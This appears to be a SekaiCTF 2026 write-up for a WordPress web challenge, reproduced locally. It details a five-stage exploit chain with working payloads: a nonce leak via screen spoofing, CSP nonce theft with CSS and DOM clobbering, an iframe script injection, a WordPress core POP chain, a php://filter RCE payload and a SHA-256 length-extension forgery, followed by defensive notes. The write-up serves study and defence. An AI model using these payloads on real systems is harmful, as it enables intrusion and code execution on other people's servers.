SekaiCTF 2026 — Filtered Reality Writeup
A WordPress bureau where a subscriber spoofs an admin screen to leak a nonce, then a five-stage client-to-server chain ends in a php://filter RCE and a keeper hash length-extension to read the flag.
SekaiCTF 2026 — Filtered Reality
"Filtered Reality" is an Expert web challenge by dimasma0305: a WordPress 6.6.2 "records bureau" with a custom Archive plugin. A separate-UID daemon (the keeper) holds the flag, and a headless-Chromium bot (the Archivist) reviews submitted records as the administrator. The flag is never readable by the web user, so the only way out is a five-stage client-to-server chain where every stage is load-bearing.
Scope: local reproduction. The challenge source ships publicly in the CTF archive; I built the image locally and ran the reference solver against it. No external host was touched. The flag captured below is the container's placeholder (the deploy-time flag is injected via the FLAG environment variable at boot), which is exactly what a local run is supposed to return.
- Author: dimasma0305 (Expert, 7 solves)
- Category: web
- Flag:
SEKAI{fake_flag_for_local_testing}(local container placeholder)
0. The pieces
Reading the handout tells you the shape of the problem before you touch a payload:
wp-content/plugins/archive/— the Archive plugin. Public intake form, a?render=<ref>output route, an admin moderation page, and two admin-ajax actions.wp-content/mu-plugins/00-hardening.php— kills xmlrpc, REST user enumeration,?author=probing and application passwords.wp-content/mu-plugins/10-sessions.php— a stateless session manager so many teams can share the one public account.keeper/keeper.php— the flag daemon. Owns/keeper/flag.txt(mode 0400, UIDkeeper) and answers a Unix socket.bot/bot.js— puppeteer. Logs in as admin, fetches/?archive_pending, then visits/?render=<ref>for each queued ref and dwells.
The five stages:
| # | Stage | Primitive |
|---|---|---|
| 0 | Reviewer's seal | leak a screen-gated nonce to a subscriber, queue a record |
| 1 | Nonce-constrained XSS | SXG fallback-escape + DOM clobber + trigram-CSS nonce leak |
| 2 | PHP object injection | a WordPress-core POP chain to a file include |
| 3 | php://filter iconv | synthesise and run a PHP payload from nothing, RCE as www-data |
| 4 | keeper length-extension | forge a signature and read the flag |
1. Local stack
The image bundles Apache + PHP 8.3 + MySQL + Node + Chromium. I built it and published the container port:
docker build -t filtered-reality .
docker run -d --name fr -p 4000:1337 \
-e FLAG='SEKAI{fake_flag_for_local_testing}' filtered-reality
# ... waiting for boot ...
# up after 10s (HTTP 200)One platform wrinkle worth recording: this host is Apple Silicon, so the container is aarch64, while the image's pinned puppeteer (23.10.4) downloads an x86_64 Chrome for Testing build. On aarch64 that binary cannot exec:
chrome-linux64/chrome: 1: ELF: not foundI installed Playwright's aarch64 Chromium into the image and pointed the bot at it via PUPPETEER_EXECUTABLE_PATH=/opt/chrome/chrome. The bot then ran fine:
[bot] logged in as archivist_3qhozrzz
[bot] reviewing 0 record(s)The rest of the chain is architecture-independent.
2. Link 0 — the Reviewer's Seal
The bot only renders records that have been sealed (queued). The queue's sole writer is the admin-ajax action archive_seal_record:
public static function seal_record()
{
check_ajax_referer('archive_seal_record', '_wpnonce');
Archive_Records::report((string) ($_POST['ref'] ?? ''));
wp_send_json_success('sealed');
}No capability check — only a nonce. That nonce is printed by an admin_enqueue_scripts handler, and only when the current screen looks like the privileged Reviewer Desk:
public static function maybe_print_seal()
{
$screen = get_current_screen();
if ($screen && $screen->id === 'toplevel_page_archive-desk') {
printf('<input type="hidden" id="seal" value="%s">',
esc_attr(wp_create_nonce('archive_seal_record')));
}
}A subscriber cannot load that page. But WordPress derives the current screen from PHP_SELF, and a raw newline past a PATH_INFO break folds back into it. Logged in as the handout clerk, requesting
GET /wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-deskmakes $current_screen->id resolve to toplevel_page_archive-desk on a dashboard the subscriber can load, so the seal nonce lands in their own page:
# after clerk login
curl -s -b clerk.jar 'http://127.0.0.1:4000/wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk' \
| grep -o 'id="seal" value="[a-z0-9]*"'
# id="seal" value="e7b7b4fff7"With that nonce the clerk POSTs the nonce-only archive_seal_record to queue any record for the Archivist.
(The shared session manager is only a convenience: it makes WP_Session_Tokens::get_session() return a valid session for any verifier so simultaneous logins to the single clerk account do not race the per-user session_tokens row.)
3. Link 1 — JS in the Archivist under a nonce CSP
The record output route echoes a record body verbatim and reflects the request Accept into Content-Type:
private static function render()
{
$body = Archive_Records::body((string) $_GET['render']);
header('X-Content-Type-Options: nosniff');
header('Content-Type: ' . (string) ($_SERVER['HTTP_ACCEPT'] ?? 'text/html'));
self::send_csp_nonce(Archive_Nonce::cycle());
echo $body;
exit;
}with a script policy of exactly script-src 'nonce-<X>'. A naive <script> never runs, and Chrome navigations end their Accept in application/signed-exchange;v=b3, so the body is parsed as a Signed HTTP Exchange and rejected (ERR_INVALID_SIGNED_EXCHANGE).
The escape is to craft an invalid SXG that carries an https:// fallback URL. Chrome fails verification and performs the SXG fallback navigation to the internal :1338 vhost /?archive_moderation=1, and that re-request has no signed-exchange in its Accept, so the page renders. Layout used by the solver:
magic(8) | fallbackUrlLen(2 BE)@8 | url@10
sxg1-b3\x00 | len | "https://127.0.0.1:1338/?archive_moderation=1"The moderation page runs each record's source through a clobberable sanitizer under the nonce CSP:
// sanitizer.js
function sanitize(html){
var allow={tags:{'#text':1,BODY:1,DIV:1,FORM:1,A:1,B:1,IMG:1,INPUT:1},attrs:{src:1,style:1,href:1,name:1}};
function purify(node){
if(!allow.tags[node.nodeName]){ rm(node); return; }
...
var kids=node.childNodes; ... // reads a live-ish tree while mutating it
}
var doc=new DOMParser().parseFromString(html,'text/html');
purify(doc.body);
return doc.body.innerHTML;
}The childNodes read is clobberable: named <input> children shadow the property, so a <form><input name="childNodes"><input name="childNodes">...</form> wrapper makes the sanitizer skip the smuggled element. The sanitize() output is assigned with innerHTML on the moderation page, so a smuggled <style>@import pulls a same-origin CSS payload.
The <script nonce> attribute is nonce-hidden, but the per-request nonce is also exposed in a plain <meta>:
<meta id="csp-nonce" name="csp-nonce" content="<?php echo $cspnonce; ?>">That is not nonce-hidden, so a hex-trigram CSS leaks it character by character via meta[content^=]..., ^=, $=, *=, exfiltrating to the same-origin sink /?archive_leak=1&tk=<token>:
meta[content^="ad"]{--s_ad:url(/?archive_leak=1&tk=...&S=ad)}
meta[content*="7ad"]{--m_7ad:url(/?archive_leak=1&tk=...&M=7ad)}
...The solver keeps rendering the leak record, reads the accumulated leak log, reconstructs candidate nonces from the start/end digrams and trigrams, then DOM-clobbers again to smuggle an iframe that runs the exploit with the recovered nonce:
<iframe srcdoc="<script nonce=ad7ad69fbd9bc9fbe0cd154f src=/?archive_raw=exp></script>"></iframe>The run recovered exactly one nonce:
[+] CSP nonce candidate(s): ['ad7ad69fbd9bc9fbe0cd154f']4. Link 2 — PHP object injection
The exploit JS scrapes the moderation page's archive_process_record nonce and POSTs a base64 blob to the admin-ajax action, which unserializes whatever it is handed:
public static function process_record()
{
if (!current_user_can('manage_options')) { wp_die('', 403); }
check_ajax_referer('archive_process_record', '_wpnonce');
$blob = base64_decode((string) ($_POST['blob'] ?? ''), true);
if ($blob === false) { wp_send_json_error('invalid encoding', 400); }
@unserialize($blob);
wp_send_json_success('record processed');
}The intended gadget is the plugin's own SecureTableGenerator. Its elaborate __wakeup sanitizes the data and headers cells — but not allowedTags. A non-empty allowedTags array survives validateObjectIntegrity(), and resetSecurityProperties() then runs a loose comparison over it:
private function resetSecurityProperties()
{
$safeTags = ['b','i','strong','em','u','span','div','p'];
foreach ($this->allowedTags as $tag) {
if (in_array($tag, $safeTags)) { // loose: object vs string -> __toString()
$validatedTags[] = $tag;
}
}
}Planting a WP_HTML_Tag_Processor in allowedTags makes in_array() compare it against a string, invoking __toString(). In WordPress 6.6.2 that drives a core POP chain — WP_HTML_Tag_Processor::__toString() → WP_Block_List::offsetGet() → WP_Block::__construct() → WP_Block_Patterns_Registry::get_content() — down to an include($filePath) where $filePath is fully attacker-controlled. (The obvious WP_HTML_Token::__destruct gadget is a decoy: its __wakeup throws on 6.6.2, and on PHP 8.3 a throwing __wakeup means __destruct never runs.)
The serialized blob builds the chain from WP_Block_Patterns_Registry (with registered_patterns['test']['filePath'] = <filter chain>) upward. Helpers build_blob.py (a pure-Python PHP serializer) and filter_chain.py ship with the official solution.
5. Link 3 — php://filter iconv to RCE
$filePath is not a real file. It is a php://filter/convert.iconv.*|convert.base64-*/resource=php://temp chain — the Synacktiv generator — that synthesises a small PHP program out of an empty stream and executes it on include. I verified this primitive in isolation on glibc PHP 8.4 before trusting it end-to-end. Feeding the chain that targets the keeper client and reading it back returns the payload verbatim (followed by the usual trailing bytes the chain leaves behind):
=== chain output (len 2361) ===
<?php $s=@stream_socket_client("unix:///run/keeper/keeper.sock",$e,$x,2);
$r=$s?(fwrite($s,$_REQUEST["k"]."\n")?trim((string)fread($s,4096)):"WERR"):"NOSOCK";
$t=preg_replace("/[^a-zA-Z0-9]/","",(string)($_REQUEST["t"]??"out"));
@file_put_contents("/var/www/html/wp-content/uploads/$t.log",$r); ?>And it really executes on include — a marker-writing payload proves RCE:
RCE_OK
marker: PWNED LinuxBecause the include happens inside WordPress output buffering, the RCE payload writes its result to a www-data-writable wp-content/uploads/<t>.log instead of relying on the HTTP response body.
6. Link 4 — keeper hash length-extension
The flag lives with the keeper UID. Its daemon answers a world-connectable Unix socket with three verbs. SIGN returns sha256(SECRET . msg) but refuses any message containing give_flag:
} elseif ($cmd === 'SIGN') {
$msg = @hex2bin($parts[1] ?? '');
if (strpos($msg, 'give_flag') !== false) {
fwrite($conn, "ERR forbidden\n");
} else {
fwrite($conn, hash('sha256', $SECRET . $msg) . "\n");
}
}FLAG returns the flag iff the signature is valid and the message authorises give_flag for the current cycle:
} elseif ($cmd === 'FLAG') {
if ($msg !== false
&& hash_equals(hash('sha256', $SECRET . $msg), $sig)
&& strpos($msg, 'give_flag') !== false
&& strpos($msg, 'cycle=' . $cur()) !== false) {
fwrite($conn, $FLAG . "\n");
}
}hash('sha256', SECRET . msg) with a prefix key and a suffix we control is a textbook Merkle-Damgard construction, so the signature is forgeable by length extension. SECRET is random_bytes(16), so its length (16) is known; that is all the attack needs. Sign a benign cycle=<n>;user=guest, glue on the SHA-256 padding for 16 + len(benign), then append ;cmd=give_flag and recompute the digest from the returned state.
I reproduced this against the real keeper.php locally. My forge (PHP, implementing the compression + padding + state continuation) talks to the socket:
--- keeper stderr ---
keeper: listening on /tmp/keeper/keeper.sock (cycle=29870875)
--- forge ---
cycle = 29870875
SIGN(cycle=29870875;user=guest) = 9b5a5421d9c3da70a22bea0969cc2a7db95a746ad2f9e46e7067f66930e7a629
FLAG resp = SEKAI{fake_flag_for_local_testing}
CAPTURED: SEKAI{fake_flag_for_local_testing}The SIGN we obtained never contained give_flag; the forged message does, past the padding boundary. In the live chain, the exploit JS runs this same math in the admin browser and the keeper client returns the flag, which is dropped into uploads/<t>.log.
7. Full run
With the bot fixed for aarch64, the reference solver drives all five links against the locally built image:
[+] reviewer seal: e7b7b4fff7
[*] hosting payloads (run token frea218851)
[*] waiting for the Archivist to render the leak record + the CSS to leak the nonce...
leak: S=1 E=1 M=21
[+] CSP nonce candidate(s): ['ad7ad69fbd9bc9fbe0cd154f']
[*] injected 1 candidate(s); waiting for the Archivist to fire the exploit...
[+] Flag: SEKAI{fake_flag_for_local_testing}Captured flag (local container placeholder, returned by the exploit chain):
SEKAI{fake_flag_for_local_testing}8. Defensive notes
- Capability, not just nonce:
seal_recordis a state-changing action gated only by a nonce, so any account that can obtain that nonce can queue work for a privileged bot. Authorisation must not rest on a token alone. - Screen IDs are derived from
PHP_SELF; a%0A/PATH_INFObreak folds attacker-controlled text back intoget_current_screen()->id. Never branch privileged behaviour on the current screen without re-checking capability. - Reflecting
AcceptintoContent-Typeturns an output route into an SXG parser. Uppercase policy: pin one server-controlled content type. - A sanitizer that reads a live DOM tree (clobberable
childNodes) is not a sanitizer. Compare against a snapshot and take the attribute allow-list as the only contract — here the unusedallowedTagsfield is the whole gadget. hash(secret . message)is forgeable by length extension. Authenticate with HMAC (hash_hmac) and bind the message shape with a MAC, not a concatenation.
9. Flag
SEKAI{fake_flag_for_local_testing}The event's deploy-time flag is injected at boot via FLAG; this writeup reports the value a local run legitimately returns.
What do you think?
React to show your appreciation